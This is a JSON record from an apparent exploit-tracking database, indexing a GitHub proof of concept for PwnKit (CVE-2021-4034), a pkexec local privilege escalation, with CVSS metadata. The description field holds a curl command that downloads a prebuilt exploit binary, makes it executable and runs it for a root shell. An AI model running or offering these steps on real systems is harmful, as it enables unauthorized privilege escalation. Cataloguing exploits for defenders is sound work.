Exploit for Out-of-bounds Write in Polkit_Project Polkit_7C600E50-B6A9-5CD1-90DE-726205482F77

{
    "lastseen": "2026-05-20T10:30:40",
    "description": "PwnKit PoC for PwnKit / CVE-2021-4034 - Pkexec Local Privilege Escalation Exploit Manually bash curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit chmod +x ./PwnKit ./PwnKit interactive shell ./PwnKit...",
    "published": "2026-05-20T09:03:50",
    "modified": "2026-05-20T09:13:23",
    "type": "githubexploit",
    "title": "Exploit for Out-of-bounds Write in Polkit_Project Polkit",
    "source": "",
    "references": "",
    "id": "7C600E50-B6A9-5CD1-90DE-726205482F77",
    "bulletinFamily": "exploit",
    "cwe": null,
    "cvelist": [
        "CVE-2021-4034"
    ],
    "sourceData": "",
    "sourceHref": "",
    "cvss": {
        "score": 7.8,
        "severity": "HIGH",
        "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
        "version": "3.1"
    },
    "cvss2": [],
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        "baseScore": 0,
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        "privilegesRequired": "",
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        "confidentialityImpact": "",
        "integrityImpact": "",
        "availabilityImpact": "",
        "cvssV3": {
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    },
    "href": "https://github.com/jayhutajulu1/PwnKit-CVE-2021-4034",
    "category_name": "Exploit",
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    "ai_score": 0
}